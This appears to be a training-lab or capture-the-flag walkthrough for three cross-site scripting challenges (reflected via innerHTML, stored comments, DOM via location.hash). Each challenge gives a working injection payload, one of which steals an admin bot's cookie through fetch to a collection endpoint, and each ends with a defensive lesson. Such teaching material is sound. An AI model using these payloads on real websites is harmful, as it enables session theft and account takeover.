Track A · Stage 4

1. Search for <img src=x onerror=winFlag()>. Why: the page inserts your query via innerHTML, so your tag is parsed as HTML. The broken image fires onerror, executing JS in the page's origin.

2. <script>winFlag()</script> inserted via innerHTML won't run, which is why the onerror/onload event-handler trick is used.

3. winFlag() reveals the flag to prove script execution.

Lesson: contextually encode all output; prefer textContent over innerHTML.

1. Post a comment: <img src=x onerror="fetch('/steal?c='+document.cookie)">. Why: the server stores comments and renders them with no escaping, so your HTML runs in every viewer's browser — including the admin bot's.

2. The admin bot (triggered by the 'Notify admin' button) loads the page with a flag cookie set; your payload sends that cookie to /steal.

3. Read your captured cookies at /loot — it contains the flag.

Lesson: escape on output, set HttpOnly cookies, and use a strong CSP.

1. Append to the URL: #<img src=x onerror=winFlag()> and reload. Why: the page does el.innerHTML = decodeURIComponent(location.hash.slice(1)). The hash is attacker-controlled (the source) and flows unsanitized into an innerHTML sink, so your tag executes — all in the browser, the server never sees the fragment.

2. winFlag() reveals the flag.

Lesson: treat location.*, document.referrer, postMessage as untrusted; write with textContent or sanitize before using innerHTML.